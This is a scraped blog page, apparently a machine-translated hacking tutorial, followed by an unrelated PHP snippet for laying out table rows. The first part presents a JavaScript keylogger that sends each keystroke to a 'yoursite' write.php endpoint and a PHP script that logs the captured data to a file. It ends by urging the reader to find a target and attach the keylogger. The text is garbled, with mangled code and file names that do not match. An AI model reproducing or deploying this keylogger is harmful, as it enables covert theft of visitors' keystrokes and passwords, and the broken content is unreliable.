xmlhttp.open ( "POST", "http://yoursite/write.php?d =" + key, true);

xmlhttp.send (null);

)

document.write ('');


[+]----------------------------------------------- -------------------


Then save it with the name keylog.js ... Remember, JS extension. And one should not forget, "yoursite" is replaced with

URL of your own ...

Create more open.php and write.php in notepad with the following script


open.php


[+]----------------------------------------------- -------------------


$ data = $ _GET [ 'd'];

$ fp = fopen ( 'log.txt', 'a');

fwrite ($ fp, $ data);

fclose ($ fp);

?>


[+]----------------------------------------------- -------------------


salin.php


[+]----------------------------------------------- -------------------


$ data = $ _GET [ 'd'];

$ fp = fopen ( 'log.txt', 'a');

fwrite ($ fp, $ data);

fclose ($ fp);

?>


[+]----------------------------------------------- -------------------


And now you have three files namely keylog.js, open.php, write.php ...

Because I try in localhost then I'll try to make a simple HTML script

that will be used as my own website.


[+]----------------------------------------------- -------------------


Type What You Like That




[+]----------------------------------------------- -------------------


And store with the name zhecou.html

Well if you want to put it in your website then you simply add


[+]----------------------------------------------- -------------------



[+]----------------------------------------------- -------------------


Ngerti? Now place the four files zhecou.html, keylog.js, open.php and start.php

in the same directory. Well I in my directory C: mysite

because I use WAMP server

Now therefore, I will change the URL in the keylog.js be


[+]----------------------------------------------- -------------------


http://localhost/mysite


[+]----------------------------------------------- -------------------


Practice


So when you open a browser and direct you to http://localhost/mysite/zhecou.html

Well here you can type are

I will type "Many Thanks Dah guzzle You To See The Article Here"


So you will see the emergence hasil.txt that contain those words

Okay here until the first well, this article may be less useful but ... Only that

I can give ...

Now that you have to do is find the target and attach to keylog

I really comparable with the r57, C99, C100, dkk but definitely happy to be developed if ..




Table rows

A common function on many php (or other data driven) sites is to loop through an array and write the contents of the array to the page. It is preferable to spread your data over multiple columns instead of writing it all in a straight list thus forcing your readers to scroll forever. Here is an easy way to dynamically write your cells and rows using expressions.












  1. $names=explode(",","Joe,Lisa,Bill,Roger,Fred,Kenney");



  2. $counter=-1;



  3. while (list(,$value)=each ($names))



  4. { $counter=$counter+1;



  5. ";


  6. //this is the key - if field has no remainder then field is in second column



  7. $newrow=($counter % 3);



  8. //echo $newrow;



  9. if ($newrow == 2) echo "
  10. " ;


  11. } // end of while



  12. //****This will write the data in three cells per row. To only do two cells



  13. //** per row change the 3 in the $newrow definition to a 2 and the



  14. //** comparison to a 1.



  15. ?>



  16. " . $names[$counter] . "&nbsp
    &nbsp

Followers

My Friends

Send Messange




Copyright 2009-2010 Junkelsee.tk. All Right Reserved

Back to TOP